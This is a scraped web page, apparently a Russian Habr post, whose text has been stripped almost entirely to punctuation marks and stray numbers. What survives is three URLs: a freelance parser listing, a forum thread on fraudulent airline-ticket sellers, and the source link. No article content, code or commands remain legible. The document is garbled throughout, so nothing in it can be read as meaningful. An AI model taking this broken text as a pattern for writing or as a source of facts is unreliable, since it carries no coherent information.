» https://www.fl.ru/tu/57770/parser-internet-magazina.html - .

, , — .

, . , . , .

http://forum.prootzyvy.org/forums/spisok-sajtov-moshennikov-po-prodazhe-aviabiletov.134/

336 . , . .



? , . . , . , , , .. , . , , . , - « » . ( ). - 5-10-20 .. , , , . (), , , .

. ?
. . , . , . «. ». , . , . . . .

, , . , , -, . , . , , .

, . , . , .

, , . - - . . , .



80 , . , . , . :



56 , « », , .
, , « », , .

:





- -. , . , . . , . , , , .

Source: https://habr.com/ru/post/ar398313/


All Articles